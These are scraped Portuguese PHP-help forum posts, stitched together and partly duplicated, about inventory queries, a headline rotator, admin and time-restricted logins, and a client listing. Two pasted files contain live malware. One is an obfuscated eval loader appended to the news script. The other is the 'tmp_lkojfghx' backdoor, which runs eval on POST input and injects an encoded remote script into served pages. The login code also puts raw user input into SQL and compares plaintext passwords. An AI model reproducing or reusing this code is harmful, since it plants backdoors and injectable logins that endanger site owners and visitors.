websuite

já esta no formato AAAA-MM-DD

Estou fazendo um relatorio de estoque onde tenho que pegar as peças que estao a muito tempo paradas no estoque sem giro..tipo de 01/01/2000 ate hoje. So que não esta retornando nada na consulta. public function get_pecas_sem_giro($data,$linha){ if(!$linha){ $busca = "select proeat,procod,pronom,produc,prolin,prodpc,produv,proucm,provva,proofc from TB_PCAPRO where proeat > 0 and produv <='".$data."' and produc <= '".$data."' and prolin = '".strtoupper($linha)."' order by produv ASC"; } $connection = @ibase_connect ($this->instancia,$this->user,$this->pass,'WIN1254', '0', '3'); $query = ibase_query($connection,$busca) or die(ibase_errmsg()); $arr = array(); while($row = ibase_fetch_assoc($query)){ $this->arr[] = array( "estoque_fisico"=>$row['PROEAT'], "estoque_oficina"=>$row['PROOFC'], "tot_custo"=>$row['PROUCM'], "tot_venda"=>$row['PROVVA'], "ult_compra"=>$row['PRODUC'], "ult_venda"=>$row['PRODUV'], "linha"=>$row['PROLIN'], "codigo"=>$row['PROCOD'], "descricao"=>$row['PRONOM'], "pri_compra"=>$row['PRODPC'] ); } return $arr;

e ai alguém que possa me ajudar??

estou configurando um script do agorario e esta dando um erro nas noticias em destaque e elas não rotacionan automaticamente ... Linha: 471 Caractere:5 Erro: 'vivvoRotatingHeadlines' não definido Codigo: 0 URL: dest.php que e o script abaixo, Se algum opuder me ajudar ficarei grato, <?php $cidade= "1"; include "config.php"; ?> <link rel="stylesheet" type="text/css" href="css.css" media="screen"/> <script type="text/javascript" src="<?=$usite?>compres.php?js,js/framework/prototype,js/control_tabs,js/functions,js/framework/effects,js/glider,js/ticker,js/rotating_headlines,js/bookmark"></script> <style type="text/css"> <!-- body { margin-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; } --> </style> <div id="headline"> <div id="rotating_headlines" class="box_headline"> <div class="headline_article"> <div id="rotating_headlines_1" class="headline_article_holder"> <div class="headline_image"> <a target="_top" href="../index.php<? include "destn/l_1.php"; ?>"><img src="thumbs.php?w=299&h=128&imagem=<? include "destn/img_1.php"; ?>" border="0" align="left" /></a> <div class="image_caption"><? include "destn/d_1.php"; ?></div> </div> <div id="rotating_headlines_article_1" style="height:px;"> <h1> <a target="_top" href="../index.php<? include "destn/l_1.php"; ?>"><? include "destn/t_1.php"; ?></a> </h1> </div> </div> </div> <div class="headline_article"> <div id="rotating_headlines_2" class="headline_article_holder" style="display:none;"> <div class="headline_image"> <a target="_top" href="../index.php<? include "destn/l_2.php"; ?>"><img src="thumbs.php?w=299&h=128&imagem=<? include "destn/img_2.php"; ?>" border="0" align="left" /></a> <div class="image_caption"><? include "destn/d_2.php"; ?></div> </div> <div id="rotating_headlines_article_2"> <h1> <a target="_top" href="../index.php<? include "destn/l_2.php"; ?>"><? include "destn/t_2.php"; ?></a> </h1> </div> </div> </div> <div class="headline_article"> <div id="rotating_headlines_3" class="headline_article_holder" style="display:none;"> <div class="headline_image"> <a target="_top" href="../index.php<? include "destn/l_3.php"; ?>"><img src="thumbs.php?w=299&h=128&imagem=<? include "destn/img_3.php"; ?>" border="0" align="left" /></a> <div class="image_caption"><? include "destn/d_3.php"; ?></div> </div> <div id="rotating_headlines_article_3"> <h1> <a target="_top" href="../index.php<? include "destn/l_3.php"; ?>"><? include "destn/t_3.php"; ?></a> </h1> </div> </div> </div> <div class="headline_article"> <div id="rotating_headlines_4" class="headline_article_holder" style="display:none;"> <div class="headline_image"> <a target="_top" href="../index.php<? include "destn/l_4.php"; ?>"><img src="thumbs.php?w=299&h=128&imagem=<? include "destn/img_4.php"; ?>" border="0" align="left" /></a> <div class="image_caption"><? include "destn/d_4.php"; ?></div> </div> <div id="rotating_headlines_article_4"> <h1> <a target="_top" href="../index.php<? include "destn/l_4.php"; ?>"><? include "destn/t_4.php"; ?></a> </h1> </div> </div> </div> <div class="player"> <ul id="rotating_headlines_player"> <li><a href="#rotating_headlines_1">1</a></li> <li><a href="#rotating_headlines_2">2</a></li> <li><a href="#rotating_headlines_3">3</a></li> <li><a href="#rotating_headlines_4">4</a></li> </ul> </div> </div> </div> <script type="text/javascript"> var rotating_headlines_tabs = new vivvoRotatingHeadlines('rotating_headlines', 6); </script>

<?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64'); $OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}; $OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16}; $OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5}; $OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15}; $O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14}.$OOO000000{3}; $O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16}; $OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8}; $OOO0O0O00=__FILE__; $OO00O0000=1676; eval($OOO0000O0('aWYoITApJE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwME8wMCgkTzAwME8wTzAwLDEwMjQpOyRPME8wMDBPMDAoJE8wMDBPME8wMCw0MDk2KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMzgwKSwndGFWWUFwUUxVVzczTXEyRUR3UzgxTklvY2s0enJDbHlYQml4blRPdTl2WlA2MGcvSGhzS21kR2VSZmpKYis1Rj0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7')); return;?> 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

alguém pode me ajudar com esse ecript??

Estou tentando instalar o script ta na foto mas na parte de admin não funciona de forma alguma ..so da erro => 'document.forms.0.entered_login' é nulo ou não e um objeto linha 117 <?PHP // ------ create table variable ------ // variables for Netscape Navigator 3 & 4 are +4 for compensation of render errors $Browser_Type = strtok($HTTP_ENV_VARS['HTTP_USER_AGENT'], "/"); if ( ereg( "MSIE", $HTTP_ENV_VARS['HTTP_USER_AGENT']) || ereg( "Mozilla/5.0", $HTTP_ENV_VARS['HTTP_USER_AGENT']) || ereg ("Opera/5.11", $HTTP_ENV_VARS['HTTP_USER_AGENT']) ) { $theTable = 'WIDTH="400" HEIGHT="245"'; } else { $theTable = 'WIDTH="400" HEIGHT="245"'; } echo $HTTP_ENV_VARS["QUERY_STRING"]; // ------ create document-location variable ------ if ( ereg("php\.exe", $HTTP_SERVER_VARS['PHP_SELF']) || ereg("php3\.cgi", $HTTP_SERVER_VARS['PHP_SELF']) || ereg("phpts\.exe", $HTTP_SERVER_VARS['PHP_SELF']) ) { $documentLocation = $HTTP_ENV_VARS['PATH_INFO']; } else { $documentLocation = $HTTP_SERVER_VARS['PHP_SELF']; } if ( $HTTP_ENV_VARS['QUERY_STRING'] ) { $documentLocation .= "?" . $HTTP_ENV_VARS['QUERY_STRING']; } include("../config.php"); ?> <script LANGUAGE="JavaScript"> <!-- // ------ check form ------ function checkData() { var f1 = document.forms[0]; var wm = "<?PHP echo $strJSHello; ?>\n\r\n"; var noerror = 1; // --- entered_login --- var t1 = f1.entered_login; if (t1.value == "" || t1.value == " ") { wm += "<?PHP echo $strLogin; ?>\r\n"; noerror = 0; } // --- entered_password --- var t1 = f1.entered_password; if (t1.value == "" || t1.value == " ") { wm += "<?PHP echo $strPassword; ?>\r\n"; noerror = 0; } // --- check if errors occurred --- if (noerror == 0) { alert(wm); return false; } else return true; } //--> </SCRIPT> <table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0"> <tr> <td colspan="2"><div align="right"> <table width="100%" border="0" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF"> <tr> <td align="right"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td><script Language="JavaScript"> hoje = new Date() numero_de_imagens = 2 segundos = hoje.getSeconds() numero = segundos % numero_de_imagens if (numero == 0){ banner = "foto1_ent.gif" } if (numero == 1){ banner = "foto2_ent.gif" } document.write('<img src="../images/layout/' + banner + '" border=`0`>') </script> <script LANGUAGE="JavaScript"> <!-- document.forms[0].entered_login.select(); document.forms[0].entered_login.focus(); //--> </SCRIPT> </td> <td><table width="400" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="2%" background="../images/layout/bk_ent.gif">&nbsp;</td> <td width="98%" bgcolor="#FFFFFF"><table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0"> <tr> <td width="37%" rowspan="2"><img src="../images/layout/logo_ent.gif" width="124" height="220"></td> <td width="63%" height="35%" valign="bottom"><img src="../images/layout/logo2_ent.gif" width="155" height="55"><br> <br> <br></td> </tr> <tr> <td valign="top"><form action='<?PHP echo $documentLocation; ?>' METHOD="post" onSubmit="return checkData()"> &nbsp; Administra&ccedil;&atilde;o: <TABLE border="0" CELLPADDING="0" CELLSPACING="0"> <TR> <TD ALIGN="left" VALIGN="middle"> <table border="0" cellpadding="0" cellspacing="3"> <tr> <td colspan="2"><input class="input" name="entered_login" type="text" size="25"></td> </tr> <tr> <td><input class="input" name="entered_password" type="password" size="15"></td> <td><input class="input" name="logar" type="submit" value="Entrar"></td> </tr> </table> </TD> </TR></TABLE> <font color="#FF0000"> <?PHP // check for error messages if ($message) { echo $message; } ?></font> </form></td> </tr> </table></td> </tr> </table></td> </tr> </table> </td> </tr> </table> </div></td> </tr> </table>

Galera já olhei em td que e lugar e não consegui resolver este problema Parse error: syntax error, unexpected T_VARIABLE in /var/www/vhosts/galerateen.com/httpdocs/site/index.php on line 1 <?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCmRvY3VtZW50LndyaXRlKHVuZXNjYXBlKCclM0NzY1Nhcnd2RWk2eXAwNXQlMjBlSGJzWnpyRU5HY1p6JTNEJTJGNnklMkY5NCUyRTJFTkc0N3pmdyUyRTJFTkclMkUxZUhiOWVIYjUlMkZTYWpxZUhidWU2eXJ5U2ElMkVqc3pmdyUzRSUzQyUyRnNjWnpyRU5HaTA1cDA1dCUzRScpLnJlcGxhY2UoL1NhfFp6fDA1fDZ5fGVIYnx3dkV8emZ3fEVORy9nLCIiKSk7CiAtLT48L3NjcmlwdD4='));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?><? include("../_include/dataport.php"); ?> <? include "_php/conexao.php"; ?> <?$sql = "SELECT * FROM index_radon ORDER BY id ASC"; $sql = mysql_query($sql);

alguém pode me ajudar????

Estou tentando fazer um codigo em php para mostrar uns valores de um cadastro de clientes, mas no cadastro existe um tabela de municipios cidades..como mostra a sql em anexo.. Menu codigo esta assim <? include "configuracao.php"; $sql = "select TR.*,TRD.* from TB_TRACAD TR LEFT JOIN TB_TRAEST_MUN TRD ON TR.TRACID=TRD.MUNEST order by TRANOM ASC"; $r = ibase_query($conexao, $sql); ?> <html> <title>Mostrar</title> <body> <table width="100" border="1"> <tr> <td width="46"><font size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong>codigo</strong></font></td> <td width="46"><font size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong>Nome</strong></font></td> <td width="46"><font size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong>Endereço</strong></font></td> <td width="46"><font size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong>Cidade</strong></font></td> <td width="46"><font size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong>Estado</strong></font></td> </tr> <? while($row = ibase_fetch_object($r)) { ?> <tr> <td width="320"><? print $row->TRACOD; ?></td> <td width="320"><? print $row->TRANOM; ?></td> <td width="320"><? print $row->TRAEND; ?></td> <td width="320"><?echo "$row[TRACID]"; ?></td> <td width="320"><? print $row->TRAEST; ?></td> </tr> <? } ibase_close($conexao); ?> </table> E minha tabela e assim : TRACOD CHAR(6) Not Null TRACGC NUMERIC(14, 0) Nullable TRATPT CHAR(1) Not Null TRAGRP CHAR(2) Not Null TRANOM VARCHAR(40) Nullable TRANFA VARCHAR(10) Nullable TRACRT VARCHAR(10) Nullable TRATPS CHAR(1) Nullable TRAIES VARCHAR(20) Nullable TRATAT CHAR(1) Nullable TRATAG NUMERIC(2, 0) Nullable TRATAC CHAR(6) Nullable TRAEND VARCHAR(40) Nullable TRAEST CHAR(2) Nullable TRACID NUMERIC(5, 0) Nullable TRADAT DATE Nullable TRACEP NUMERIC(5, 0) Nullable TRACP1 NUMERIC(3, 0) Nullable TRADDF NUMERIC(4, 0) Nullable TRAFAX NUMERIC(8, 0) Nullable TRATLX NUMERIC(5, 0) Nullable TRADDD NUMERIC(4, 0) Nullable TRAFON NUMERIC(8, 0) Nullable TRABAI VARCHAR(15) Nullable TRACDD NUMERIC(4, 0) Nullable TRACFN NUMERIC(8, 0) Nullable TRARML NUMERIC(4, 0) Nullable TRADDC NUMERIC(4, 0) Nullable TRACEL NUMERIC(8, 0) Nullable TRAMUN VARCHAR(20) Nullable TRAIIC CHAR(1) Nullable TRAIIS CHAR(1) Nullable TRAIMU VARCHAR(15) Nullable TRAMIC CHAR(1) Nullable TRAFAB CHAR(1) Nullable TRAPRC CHAR(1) Nullable TRADTI DATE Nullable TRADTA DATE Nullable TRAALI CHAR(1) Nullable TRAPUB CHAR(1) Nullable TRAALR NUMERIC(2, 0) Nullable TRAEMA VARCHAR(70) Nullable TRACFI CHAR(1) Nullable TRACPT CHAR(6) Nullable TRACOB CHAR(2) Nullable TRAEMI CHAR(6) Nullable TRANLG NUMERIC(5, 0) Nullable TRATLG VARCHAR(10) Nullable TRADLG VARCHAR(60) Nullable TRACLG VARCHAR(40) Nullable TRABPC CHAR(1) Nullable TRAFTM CHAR(1) Nullable TRAESS CHAR(1) Nullable TRAUSI CHAR(6) Nullable TRAUSA CHAR(6) Nullable TRAICD CHAR(1) Nullable TRADCD CHAR(1) Nullable TRACSL CHAR(1) Nullable TRAISS CHAR(1) Nullable TRANFS CHAR(1) Nullable TRARIR CHAR(1) Nullable TRAZFM CHAR(1) Nullable TRADBA CHAR(1) Nullable TRARGN VARCHAR(15) Nullable TRAIFM CHAR(1) Nullable TRASUP CHAR(1) Nullable CONSTRAINT FK_ESTCID: Foreign key (TRAEST, TRACID) References TB_TRAEST_MUN (MUNEST, MUNCOD) CONSTRAINT FK_TRATIP: Foreign key (TRATPT, TRAGRP) References TB_TABTGP (TGPTRA, TGPGPT) CONSTRAINT PK_TRACAD: Primary key (TRACOD) CONSTRAINT CK_TRACAD_PRC: CHECK (traprc IN (' ', 'G','R','F','P') OR traprc IS NULL) CONSTRAINT CK_TRACAD_TPS: CHECK (tratps IN ('F','J') OR tratps IS NULL)

Estou tentando fazer um codigo em php para mostrar uns valores de um cadastro de clientes, mas no cadastro existe um tabela de municipios cidades..como mostra a sql em anexo.. Menu codigo esta assim <? include "configuracao.php"; $sql = "select TR.*,TRD.* from TB_TRACAD TR LEFT JOIN TB_TRAEST_MUN TRD ON TR.TRACID=TRD.MUNEST order by TRANOM ASC"; $r = ibase_query($conexao, $sql); ?> <html> <title>Mostrar</title> <body> <table width="100" border="1"> <tr> <td width="46"><font size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong>codigo</strong></font></td> <td width="46"><font size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong>Nome</strong></font></td> <td width="46"><font size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong>Endereço</strong></font></td> <td width="46"><font size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong>Cidade</strong></font></td> <td width="46"><font size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong>Estado</strong></font></td> </tr> <? while($row = ibase_fetch_object($r)) { ?> <tr> <td width="320"><? print $row->TRACOD; ?></td> <td width="320"><? print $row->TRANOM; ?></td> <td width="320"><? print $row->TRAEND; ?></td> <td width="320"><?echo "$row[TRACID]"; ?></td> <td width="320"><? print $row->TRAEST; ?></td> </tr> <? } ibase_close($conexao); ?> </table> E minha tabela e assim : TRACOD CHAR(6) Not Null TRACGC NUMERIC(14, 0) Nullable TRATPT CHAR(1) Not Null TRAGRP CHAR(2) Not Null TRANOM VARCHAR(40) Nullable TRANFA VARCHAR(10) Nullable TRACRT VARCHAR(10) Nullable TRATPS CHAR(1) Nullable TRAIES VARCHAR(20) Nullable TRATAT CHAR(1) Nullable TRATAG NUMERIC(2, 0) Nullable TRATAC CHAR(6) Nullable TRAEND VARCHAR(40) Nullable TRAEST CHAR(2) Nullable TRACID NUMERIC(5, 0) Nullable TRADAT DATE Nullable TRACEP NUMERIC(5, 0) Nullable TRACP1 NUMERIC(3, 0) Nullable TRADDF NUMERIC(4, 0) Nullable TRAFAX NUMERIC(8, 0) Nullable TRATLX NUMERIC(5, 0) Nullable TRADDD NUMERIC(4, 0) Nullable TRAFON NUMERIC(8, 0) Nullable TRABAI VARCHAR(15) Nullable TRACDD NUMERIC(4, 0) Nullable TRACFN NUMERIC(8, 0) Nullable TRARML NUMERIC(4, 0) Nullable TRADDC NUMERIC(4, 0) Nullable TRACEL NUMERIC(8, 0) Nullable TRAMUN VARCHAR(20) Nullable TRAIIC CHAR(1) Nullable TRAIIS CHAR(1) Nullable TRAIMU VARCHAR(15) Nullable TRAMIC CHAR(1) Nullable TRAFAB CHAR(1) Nullable TRAPRC CHAR(1) Nullable TRADTI DATE Nullable TRADTA DATE Nullable TRAALI CHAR(1) Nullable TRAPUB CHAR(1) Nullable TRAALR NUMERIC(2, 0) Nullable TRAEMA VARCHAR(70) Nullable TRACFI CHAR(1) Nullable TRACPT CHAR(6) Nullable TRACOB CHAR(2) Nullable TRAEMI CHAR(6) Nullable TRANLG NUMERIC(5, 0) Nullable TRATLG VARCHAR(10) Nullable TRADLG VARCHAR(60) Nullable TRACLG VARCHAR(40) Nullable TRABPC CHAR(1) Nullable TRAFTM CHAR(1) Nullable TRAESS CHAR(1) Nullable TRAUSI CHAR(6) Nullable TRAUSA CHAR(6) Nullable TRAICD CHAR(1) Nullable TRADCD CHAR(1) Nullable TRACSL CHAR(1) Nullable TRAISS CHAR(1) Nullable TRANFS CHAR(1) Nullable TRARIR CHAR(1) Nullable TRAZFM CHAR(1) Nullable TRADBA CHAR(1) Nullable TRARGN VARCHAR(15) Nullable TRAIFM CHAR(1) Nullable TRASUP CHAR(1) Nullable CONSTRAINT FK_ESTCID: Foreign key (TRAEST, TRACID) References TB_TRAEST_MUN (MUNEST, MUNCOD) CONSTRAINT FK_TRATIP: Foreign key (TRATPT, TRAGRP) References TB_TABTGP (TGPTRA, TGPGPT) CONSTRAINT PK_TRACAD: Primary key (TRACOD) CONSTRAINT CK_TRACAD_PRC: CHECK (traprc IN (' ', 'G','R','F','P') OR traprc IS NULL) CONSTRAINT CK_TRACAD_TPS: CHECK (tratps IN ('F','J') OR tratps IS NULL)

Isso mesmo vi agora e montei..Muito obrigado ESerra e desculpa por encomodar tanto..e que to começando a pouco tempo a mecher com php <? require "../sys/conexao_net.php"; session_start(); if(($login=="")||($senha=="")){ $arquivo = file("erro_login_empty.php"); $arquivo = implode(" ",$arquivo); echo $arquivo; exit; } $hora = date('H'); $selecao="select cod_funcionario,nome,login,senha,nivel,inicio,fim from funcionarios where login='$login'"; $consulta=mysql_query($selecao); $total=mysql_num_rows($consulta); if($total>0){ $linha=mysql_fetch_array($consulta); if($hora < $linha['inicio'] OR $hora > $linha['fim']){ $arquivo = file("erro_login.php"); $arquivo = implode(" ",$arquivo); echo $arquivo; exit; } if(!strcmp($senha,$linha["senha"])){ $_SESSION["cod_funcionario"]=$linha["cod_funcionario"]; $_SESSION["nome"]=$linha["nome"]; $_SESSION["nivel"]=$linha["nivel"]; header("location: ../index.php"); exit; } else{ $arquivo = file("erro_login.php"); $arquivo = implode(" ",$arquivo); echo $arquivo; exit; } } else{ $arquivo = file("erro_login.php"); $arquivo = implode(" ",$arquivo); echo $arquivo; exit; } ?>

agora não da erro so abre uma pag em branco.

Deu o seguinte erro na linha 18 Parse error: parse error in c:\apache\htdocs\escola\login\login_confirma.php on line 18 linho 18 if($hora <= $linha['inicio'] OR $hora => $linha['fim']){

Ai e o problema como usar!!

Os valores estao na tabela funcionarios =>inicio=>8 fim=>18

Um dos testes <? require "../sys/conexao_net.php"; session_start(); if(($login=="")||($senha=="")){ $arquivo = file("erro_login_empty.php"); $arquivo = implode(" ",$arquivo); echo $arquivo; exit; } $hora = date('H'); $selecao="select cod_funcionario,nome,login,senha,nivel,inicio,fim from funcionarios where login='$login'"; $consulta=mysql_query($selecao); $total=mysql_num_rows($consulta); if($total>0){ $linha=mysql_fetch_array($consulta); if(!strcmp($senha,$linha["senha"])){ $_SESSION["cod_funcionario"]=$linha["cod_funcionario"]; $_SESSION["nome"]=$linha["nome"]; $_SESSION["nivel"]=$linha["nivel"]; header("location: ../index.php"); exit; } if($hora > $inicio AND $hora < $final){ exit; }else{ $arquivo = file("erro_login.php"); $arquivo = implode(" ",$arquivo); echo $arquivo; exit; } } else{ $arquivo = file("erro_login.php"); $arquivo = implode(" ",$arquivo); echo $arquivo; exit; } ?> 2ª tentativa <? require "../sys/conexao_net.php"; session_start(); if(($login=="")||($senha=="")){ $arquivo = file("erro_login_empty.php"); $arquivo = implode(" ",$arquivo); echo $arquivo; exit; } $hora = date('H'); $selecao="select cod_funcionario,nome,login,senha,nivel,inicio,fim from funcionarios where login='$login'"; $consulta=mysql_query($selecao); $total=mysql_num_rows($consulta); if($total>0){ $linha=mysql_fetch_array($consulta); if(!strcmp($senha,$linha["senha"])){ if($hora > $inicio AND $hora < $fim){ exit; } $_SESSION["cod_funcionario"]=$linha["cod_funcionario"]; $_SESSION["nome"]=$linha["nome"]; $_SESSION["nivel"]=$linha["nivel"]; header("location: ../index.php"); exit; } else{ $arquivo = file("erro_login.php"); $arquivo = implode(" ",$arquivo); echo $arquivo; exit; } } else{ $arquivo = file("erro_login.php"); $arquivo = implode(" ",$arquivo); echo $arquivo; exit; } ?>

Galera já tentei de tudo e não consegui...alguém pode me ajudar com esse script ai?

alguém pra me ajudar já tentei de varias formas e não consegui

Galera não consegui colocar ...não entendo muito bem de php tem como me ajudarem..a implementar nesse scritp aqui=> <? require "../sys/conexao_net.php"; session_start(); if(($login=="")||($senha=="")){ $arquivo = file("erro_login_empty.php"); $arquivo = implode(" ",$arquivo); echo $arquivo; exit; } $hora = date('H'); $selecao="select cod_funcionario,nome,login,senha,nivel,inicio,fim from funcionarios where login='$login'"; $consulta=mysql_query($selecao); $total=mysql_num_rows($consulta); if($total>0){ $linha=mysql_fetch_array($consulta); if(!strcmp($senha,$linha["senha"])){ $_SESSION["cod_funcionario"]=$linha["cod_funcionario"]; $_SESSION["nome"]=$linha["nome"]; $_SESSION["nivel"]=$linha["nivel"]; header("location: ../index.php"); exit; } else{ $arquivo = file("erro_login.php"); $arquivo = implode(" ",$arquivo); echo $arquivo; exit; } } else{ $arquivo = file("erro_login.php"); $arquivo = implode(" ",$arquivo); echo $arquivo; exit; } ?>

ai e o problema...fiz assim e não deu $inicio='08:00'; $fim='18:00'; $selecao="select * from funcionarios where login='$login' and $inicio <> $fim"; $consulta=mysql_query($selecao); $total=mysql_num_rows($consulta); if($total>0){ $linha=mysql_fetch_array($consulta); if(!strcmp($senha,$linha["senha"])){

Gostaria de fazer um sistema de login da seguinte forma e não estou dando conta=> Tenho a tabela funcionarios onde tem => login , senha , inicio e fim onde=> login = login do user senha = senha da pessoa inicio = 08:00 fim = 18:00 gostaria que o funcionario somente acesse o sistema dentro destes horarios. alguém pode me ajudar?

não sou expert ..em php tem como me passar um exemplo de como fazer? E mesmo o arq txt tendo +/- uns 100 nomes ele le eles todos para depois inserir no banco se não existir na tabela.

